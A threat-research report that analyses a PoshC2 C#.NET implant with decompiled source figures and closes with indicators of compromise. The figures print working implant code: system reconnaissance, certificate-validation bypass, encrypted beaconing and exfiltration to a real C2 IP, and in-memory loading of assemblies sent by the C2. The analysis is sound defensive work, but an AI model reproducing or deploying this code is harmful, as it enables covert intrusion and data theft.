A Deep Dive Into a PoshC2 Implant

Prepared by: Vlad Pasca, Senior Malware & Threat Analyst

SecurityScorecard

SecurityScorecard.com
info@securityscorecard.com

Tower 49
12 E 49th Street
Suite 15-001
New York, NY 10017
1.800.682.1707

Table of contents

Executive summary

PoshC2 is an open-source C2 framework used by penetration testers and threat actors. It can generate a Powershell-based implant, a C#.NET implant that we analyze in this paper, and a Python3 implant. The malware retrieves the current Windows user, the network domain name associated with the current user, the computer name, the processor architecture, the current process name and id, and the path of the Windows directory. The network communication is encrypted using the AES algorithm with a hard-coded key that can be changed by the C2 server. The C# implant can load and execute modules in memory without touching the disk by using multiple commands. It can perform post-exploitation activities by loading tools such as SharpHound, Rubeus, SharpView, and Seatbelt.

Analysis and findings

SHA256: 68a2c4cce8c8e8cdf819d8b4f8ab88c0c851fb4ca0dcc07d562a6befc4172380

The malware hides the current window by calling the ShowWindow API (0x0 = **SW_HIDE**). It also disables the certificate validation for all outgoing HTTPS requests (see figure 2).

```
public static void Sharp(long baseAddr = 0L)
{
    Program.DllBaseAddress = new IntPtr(baseAddr);
    if (!string.IsNullOrEmpty("") && !Environment.UserDomainName.ToLower().Contains("".ToLower()))
    {
        return;
    }
    IntPtr consoleWindow = Program.GetConsoleWindow();
    Program.ShowWindow(consoleWindow, 0);
    Program.AUnTrCrts();
```

Figure 1

```
private static void AUnTrCrts()
{
    try
    {
        ServicePointManager.ServerCertificateValidationCallback = ((object z, X509Certificate y, X509Chain x, SslPolicyErrors w) => true);
    }
    catch
    {
    }
}
```

Figure 2

The process creates an event for thread synchronization. A new thread will be created, and the current one killed after its execution finishes via a function call to TerminateThread (figure 3).

```
int num = 30;
int num2 = 60000;
ManualResetEvent manualResetEvent = new ManualResetEvent(false);
while (true && num > 0)
{
    try
    {
        Program.primer();
        break;
    }
    catch
    {
        num--;
        manualResetEvent.WaitOne(num2);
        num2 *= 2;
    }
}
IntPtr currentThread = Program.GetCurrentThread();
Program.TerminateThread(currentThread, 0U);
```

Figure 3

The binary retrieves the following information: the current Windows user, the network domain name associated with the current user, the computer name, the processor architecture, the current process name and id, and the path of the Windows directory.

```
private static void primer()
{
    if (DateTime.ParseExact("2999-12-01", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now)
    {
        Program.dfs = 0;
        string text = "";
        try
        {
            text = WindowsIdentity.GetCurrent().Name;
        }
        catch
        {
            text = Environment.UserName;
        }
        if (Program.ihInteg())
        {
            text += "*";
        }
        string userDomainName = Environment.UserDomainName;
        string environmentVariable = Environment.GetEnvironmentVariable("COMPUTERNAME");
        string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
        int id = Process.GetCurrentProcess().Id;
        string processName = Process.GetCurrentProcess().ProcessName;
        Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
        string text2 = null;
        string text3 = null;
        foreach (string text4 in Program.basearray)
        {
            string un = string.Format("{0};{1};{2};{3};{4};{5};1", new object[]
            {
                userDomainName,
                text,
                environmentVariable,
                environmentVariable2,
                id,
                processName
            });
            string key = "7VNSMrDzZ3W/GfZq+oUL/GiPFbVIJ8i8RsOzVXF9laE=";
            text3 = text4;
```

Figure 4

The IsInRole method is utilized to verify whether the current user belongs to the Administrators group, as shown below:

```
private static bool ihInteg()
{
    WindowsIdentity current = WindowsIdentity.GetCurrent();
    WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
    return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
}
```

Figure 5

The malware embedded the C2 server “95.213.145[.]101” in clear text:

```
private static string[] basearray = new string[]
{
    "https://95.213.145.101"
};
```

Figure 6

The malicious process constructs a custom URL and calls the Encryption function, which will encrypt the stolen information using a hard-coded key:

```
string address = text3 + "/adServingData/PROD/TMClient/6/8736/?c";
try
{
    string enc = Program.GetWebRequest(Program.Encryption(key, un, false, null)).DownloadString(address);
    text2 = Program.Decryption(key, enc);
    break;
}
catch (Exception ex)
{
    Console.WriteLine(string.Format(" > Exception {0}", ex.Message));
}
Program.dfs++;
```

Figure 7

The stolen information is encrypted using the AES256 algorithm with a random IV generated by calling the GenerateIV function. The encrypted data is concatenated with the IV and is Base64-encoded:

```
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
    byte[] array = null;
    if (unByte != null)
    {
        array = unByte;
    }
    else
    {
        array = Encoding.UTF8.GetBytes(un);
    }
    if (comp)
    {
        array = Program.Compress(array);
    }
    string result;
    try
    {
        SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, null, true);
        byte[] second = symmetricAlgorithm.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
        result = Convert.ToBase64String(Program.Combine(symmetricAlgorithm.IV, second));
    }
    catch
    {
        SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, null, false);
        byte[] second2 = symmetricAlgorithm2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
        result = Convert.ToBase64String(Program.Combine(symmetricAlgorithm2.IV, second2));
    }
    return result;
}
```

Figure 8

```
private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
{
    SymmetricAlgorithm symmetricAlgorithm;
    if (rij)
    {
        symmetricAlgorithm = new RijndaelManaged();
    }
    else
    {
        symmetricAlgorithm = new AesCryptoServiceProvider();
    }
    symmetricAlgorithm.Mode = CipherMode.CBC;
    symmetricAlgorithm.Padding = PaddingMode.Zeros;
    symmetricAlgorithm.BlockSize = 128;
    symmetricAlgorithm.KeySize = 256;
    if (IV != null)
    {
        symmetricAlgorithm.IV = Convert.FromBase64String(IV);
    }
    else
    {
        symmetricAlgorithm.GenerateIV();
    }
    if (key != null)
    {
        symmetricAlgorithm.Key = Convert.FromBase64String(key);
    }
    return symmetricAlgorithm;
}
```

Figure 9

The Base64-encoded data is stored in the Cookie HTTP request header, and no proxy is used during the communication.

DownloadString is used to exfiltrate the stolen data to the C2 server:

```
private static WebClient GetWebRequest(string cookie)
{
    try
    {
        ServicePointManager.SecurityProtocol = (SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12);
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
    }
    WebClient webClient = new WebClient();
    string text = "";
    string text2 = "";
    string password = "";
    if (!string.IsNullOrEmpty(text))
    {
        WebProxy webProxy = new WebProxy();
        webProxy.Address = new Uri(text);
        webProxy.Credentials = new NetworkCredential(text2, password);
        if (string.IsNullOrEmpty(text2))
        {
            webProxy.UseDefaultCredentials = true;
        }
        webProxy.BypassProxyOnLocal = false;
        webClient.Proxy = webProxy;
    }
    else if (webClient.Proxy != null)
    {
        webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
    }
    string value = Program.dfarray[Program.dfs].Replace("\"", string.Empty).Trim();
    if (!string.IsNullOrEmpty(value))
    {
        webClient.Headers.Add("Host", value);
    }
    webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36");
    webClient.Headers.Add("Referer", "");
    if (cookie != null)
    {
        webClient.Headers.Add(HttpRequestHeader.Cookie, string.Format("SessionID={0}", cookie));
    }
    return webClient;
}
```

Figure 10

The server response is Base64-decoded, and the first 16 bytes represent the IV. The remaining bytes are decrypted using the AES algorithm by calling the TransformFinalBlock method:

```
private static string Decryption(string key, string enc)
{
    byte[] array = Convert.FromBase64String(enc);
    byte[] array2 = new byte[16];
    Array.Copy(array, array2, 16);
    string @string;
    try
    {
        SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, Convert.ToBase64String(array2), true);
        byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
        @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])));
    }
    catch
    {
        SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, Convert.ToBase64String(array2), false);
        byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
        @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(new char[1])));
    }
    finally
    {
        Array.Clear(array, 0, array.Length);
        Array.Clear(array2, 0, 16);
    }
    return @string;
}
```

Figure 11

The decrypted data must satisfy multiple regular expressions such as "RANDOMURI19901(.*)10991IRUMODNAR".

The extracted elements contain a list of URIs and URLs that will be used in all C2 communications, the date that the implant will stop beaconing, the default sleep period for implants, the beacon jitter value, a new AES key, and some static images that will be used to hide the task output:

```
Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
Program.ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
```

Figure 12

The primary function called "ImplantCore" initializes an UrlGen object and an ImgGen object with values transmitted by the C2 server:

```
private static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
    Program.UrlGen.Init(stringURLS, RandomURI, baseURL);
    Program.ImgGen.Init(stringIMGS);
    Program.pKey = Key;
    int num = 5;
```

Figure 13

```
internal static void Init(string stringURLS, string RandomURI, string baseUrl)
{
    Program.UrlGen._stringnewURLS = (from Match m in Program.UrlGen._re.Matches(stringURLS.Replace(",", "").Replace(" ", ""))
    select m.Value into m
    where !string.IsNullOrEmpty(m)
    select m).ToList<string>();
    Program.UrlGen._randomURI = RandomURI;
    Program.UrlGen._baseUrl = baseUrl;
}
```

Figure 14

```
internal static void Init(string stringIMGS)
{
    IEnumerable<string> source = from Match m in Program.ImgGen._re.Matches(stringIMGS.Replace(",", ""))
    select m.Value;
    source = from m in source
    where !string.IsNullOrEmpty(m)
    select m;
    Program.ImgGen._newImgs = source.ToList<string>();
}
```

Figure 15

The sleep parameter can be expressed in seconds, minutes, or hours. The Parse_Beacon_time function is used to convert the sleep time to seconds:

```
Regex regex = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
Match match = regex.Match(Sleep);
if (match.Success)
{
    num = Program.Parse_Beacon_Time(match.Groups["t"].Value, match.Groups["u"].Value);
}
StringWriter stringWriter = new StringWriter();
Console.SetOut(stringWriter);
ManualResetEvent manualResetEvent = new ManualResetEvent(false);
StringBuilder stringBuilder = new StringBuilder();
```

Figure 16

```
private static int Parse_Beacon_Time(string time, string unit)
{
    int num = int.Parse(time);
    if (unit != null)
    {
        if (!(unit == "h"))
        {
            if (unit == "m")
            {
                num *= 60;
            }
        }
        else
        {
            num *= 3600;
        }
    }
    return num;
}
```

Figure 17

Depending on if the kill date sent by the C2 server is earlier than the present date, the malware kills itself:

```
double num2 = 0.0;
if (!double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out num2))
{
    num2 = 0.2;
}
while (!manualResetEvent.WaitOne(new Random().Next((int)((double)(num * 1000) * (1.0 - num2)), (int)((double)(num * 1000) * (1.0 + num2)))))
{
    if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
    {
        Program.Run = false;
        manualResetEvent.Set();
    }
```

Figure 18

The sample constructs a new URL based on the same C2 server that contains the random URIs and the GUID. It performs a GET request to the C2 server in order to receive commands to be executed:

```
try
{
    string text = "";
    string cmd = null;
    try
    {
        cmd = Program.GetWebRequest(null).DownloadString(Program.UrlGen.GenerateUrl());
        text = Program.Decryption(Key, cmd).Replace("\0", string.Empty);
    }
    catch
    {
        continue;
    }
```

Figure 19

```
internal static string GenerateUrl()
{
    string text = Program.UrlGen._stringnewURLS[Program.UrlGen._rnd.Next(Program.UrlGen._stringnewURLS.Count)];
    if (Program.rotate != null)
    {
        Random random = new Random();
        int num = random.Next(0, Program.rotate.Length);
        Program.UrlGen._baseUrl = Program.rotate[num].Replace("\"", string.Empty).Trim();
        Program.dfarray = Program.dfhead;
        Program.dfs = num;
    }
    return string.Format("{0}/{1}{2}/?{3}", new object[]
    {
        Program.UrlGen._baseUrl,
        text,
        Guid.NewGuid(),
        Program.UrlGen._randomURI
    });
}
```

Figure 20

The C2 server response is decrypted using the AES algorithm, and the resulting string is expected to start with “multicmd”. The commands transmitted by the server are separated by the “!d-3dion@LD!-d” string, and the first five characters represent the task ID, as shown in figure 21.

```
if (text.ToLower().StartsWith("multicmd"))
{
    string text2 = text.Replace("multicmd", "");
    string[] array = text2.Split(new string[]
    {
        "!d-3dion@LD!-d"
    }, StringSplitOptions.RemoveEmptyEntries);
    foreach (string text3 in array)
    {
        Program.taskId = text3.Substring(0, 5);
        cmd = text3.Substring(5, text3.Length - 5);
```

Figure 21

The following commands are implemented: “exit”, “loadmodule”, “run-dll-background”, “run-exe-background”, “run-dll”, “run-exe”, and “beacon”.

exit command

In this case, the thread finishes its execution and sets the state of the event to signaled:

```
if (cmd.ToLower().StartsWith("exit"))
{
    Program.Run = false;
    manualResetEvent.Set();
    break;
}
```

Figure 22

loadmodule command

The Assembly.Load method is utilized to load an assembly that is Base64-decoded:

```
if (cmd.ToLower().StartsWith("loadmodule"))
{
    string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
    Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
    Program.Exec(stringBuilder.ToString(), Program.taskId, Key, null);
}
```

Figure 23

The task output is Gzip compressed and then encrypted using the AES algorithm. The encrypted data is combined with one of the static images that were transferred by the C2 server and padded to obtain an image of 1,500 bytes. Finally, the information is sent to the C2 server via a function call to UploadData:

```
public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
    if (string.IsNullOrEmpty(key))
    {
        key = Program.pKey;
    }
    string cookie = Program.Encryption(key, taskId, false, null);
    string s;
    if (encByte != null)
    {
        s = Program.Encryption(key, null, true, encByte);
    }
    else
    {
        s = Program.Encryption(key, cmd, true, null);
    }
    byte[] cmdoutput = Convert.FromBase64String(s);
    byte[] imgData = Program.ImgGen.GetImgData(cmdoutput);
    int i = 0;
    while (i < 5)
    {
        i++;
        try
        {
            Program.GetWebRequest(cookie).UploadData(Program.UrlGen.GenerateUrl(), imgData);
            i = 5;
        }
        catch
        {
        }
    }
}
```

Figure 24

```
private static string RandomString(int length)
{
    return new string((from s in Enumerable.Repeat<string>("..................@........................Tyscf", length)
    select s[Program.ImgGen._rnd.Next(s.Length)]).ToArray<char>());
}

// Token: 0x06000022 RID: 34 RVA: 0x00003530 File Offset: 0x00001730
internal static byte[] GetImgData(byte[] cmdoutput)
{
    int num = 1500;
    int num2 = cmdoutput.Length + num;
    string s = Program.ImgGen._newImgs[new Random().Next(0, Program.ImgGen._newImgs.Count)];
    byte[] array = Convert.FromBase64String(s);
    byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(num - array.Length));
    byte[] array2 = new byte[num2];
    Array.Copy(array, 0, array2, 0, array.Length);
    Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
    Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
    return array2;
}
```

Figure 25

run-dll-background and run-exe-background commands

The malware creates a new thread that executes the rAsm function, as shown below:

```
else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
{
    Thread thread = new Thread(delegate()
    {
        Program.rAsm(cmd);
    });
    Program.Exec("[+] Running background task", Program.taskId, Key, null);
    thread.Start();
}
```

Figure 26

The command contains multiple elements separated by a space: the namespace of the class containing the Main function, the name of the class containing the Main function, the entry point method when running DLLs, and the command line arguments (figure 27).

```
private static string rAsm(string c)
{
    string[] array = c.Split(new string[]
    {
        " "
    }, StringSplitOptions.RemoveEmptyEntries);
    int num = 0;
    string text = "";
    string name = "";
    string text2 = "";
    string text3 = "";
    string text4 = "";
    foreach (string text5 in array)
    {
        if (num == 1)
        {
            text3 = text5;
        }
        if (num == 2)
        {
            text4 = text5;
        }
        if (c.ToLower().StartsWith("run-exe"))
        {
            if (num > 2)
            {
                text2 = text2 + " " + text5;
            }
        }
        else if (num == 3)
        {
            name = text5;
        }
        else if (num > 3)
        {
            text2 = text2 + " " + text5;
        }
        num++;
    }
    string[] source = Program.CLArgs(text2);
    string[] array3 = source.Skip(1).ToArray<string>();
```

Figure 27

CommandLineToArgvW is used to parse the command line string and returns an array of pointers to the cmdline arguments:

```
private static string[] CLArgs(string cl)
{
    int num;
    IntPtr intPtr = Program.CommandLineToArgvW(cl, out num);
    if (intPtr == IntPtr.Zero)
    {
        throw new Win32Exception();
    }
    string[] result;
    try
    {
        string[] array = new string[num];
        for (int i = 0; i < array.Length; i++)
        {
            IntPtr ptr = Marshal.ReadIntPtr(intPtr, i * IntPtr.Size);
            array[i] = Marshal.PtrToStringUni(ptr);
        }
        result = array;
    }
    finally
    {
        Marshal.FreeHGlobal(intPtr);
    }
    return result;
}
```

Figure 28

The malicious binary executes a specific function for DLLs using InvokeMember and the entry point for executables:

```
foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies())
{
    if (assembly.FullName.ToString().ToLower().StartsWith(text4.ToLower()))
    {
        Type type = Program.LoadS(text3 + ", " + assembly.FullName);
        try
        {
            if (c.ToLower().StartsWith("run-exe"))
            {
                object obj = type.Assembly.EntryPoint.Invoke(null, new object[]
                {
                    array3
                });
                if (obj != null)
                {
                    text = obj.ToString();
                }
            }
            else if (c.ToLower().StartsWith("run-dll"))
            {
                try
                {
                    object obj2 = type.Assembly.GetType(text3).InvokeMember(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, null, null, array3);
                    if (obj2 != null)
                    {
                        text = obj2.ToString();
                    }
                }
                catch
                {
                    object obj3 = type.Assembly.GetType(text3).InvokeMember(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, null, null, null);
                    if (obj3 != null)
                    {
                        text = obj3.ToString();
                    }
                }
            }
            else
            {
                text = "[-] Error running assembly, unrecognised command: " + c;
            }
        }
```

Figure 29

run-dll and run-exe commands

The execution flow is the same as for the above commands. However, no thread is created. The PoshC2 documentation highlights that, in this case, it runs the command in the foreground.

```
else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
{
    stringBuilder.AppendLine(Program.rAsm(cmd));
}
```

Figure 30

beacon command

The Parse_Beacon_time function is used again to convert the beacon time to seconds:

```
else if (cmd.ToLower().StartsWith("beacon"))
{
    Regex regex2 = new Regex("(?<=(beacon)\\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
    Match match2 = regex2.Match(text3);
    if (match2.Success)
    {
        num = Program.Parse_Beacon_Time(match2.Groups["t"].Value, match2.Groups["u"].Value);
    }
    else
    {
        stringBuilder.AppendLine(string.Format("[X] Invalid time \"{0}\"", text3));
    }
    Program.Exec("Beacon set", Program.taskId, Key, null);
}
```

Figure 31

If any other command is transmitted, the process executes the “run-exe” command with the specified command line arguments:

```
{
    string text4 = Program.rAsm(string.Format("run-exe Core.Program Core {0}", cmd));
}
stringBuilder.AppendLine(stringWriter.ToString());
StringBuilder stringBuilder2 = stringWriter.GetStringBuilder();
stringBuilder2.Remove(0, stringBuilder2.Length);
if (stringBuilder.Length > 2)
{
    Program.Exec(stringBuilder.ToString(), Program.taskId, Key, null);
}
stringBuilder.Length = 0;
```

Figure 32

The final POST request sent to the C2 server is based on a task ID set to “99999” (Figure 33).

```
finally
{
    stringBuilder.AppendLine(stringWriter.ToString());
    StringBuilder stringBuilder3 = stringWriter.GetStringBuilder();
    stringBuilder3.Remove(0, stringBuilder3.Length);
    if (stringBuilder.Length > 2)
    {
        Program.Exec(stringBuilder.ToString(), "99999", Key, null);
    }
    stringBuilder.Length = 0;
}
```

Figure 33

Indicators of Compromise

SHA256

68a2c4cce8c8e8cdf819d8b4f8ab88c0c851fb4ca0dcc07d562a6befc4172380

C2 server

95.213.145.101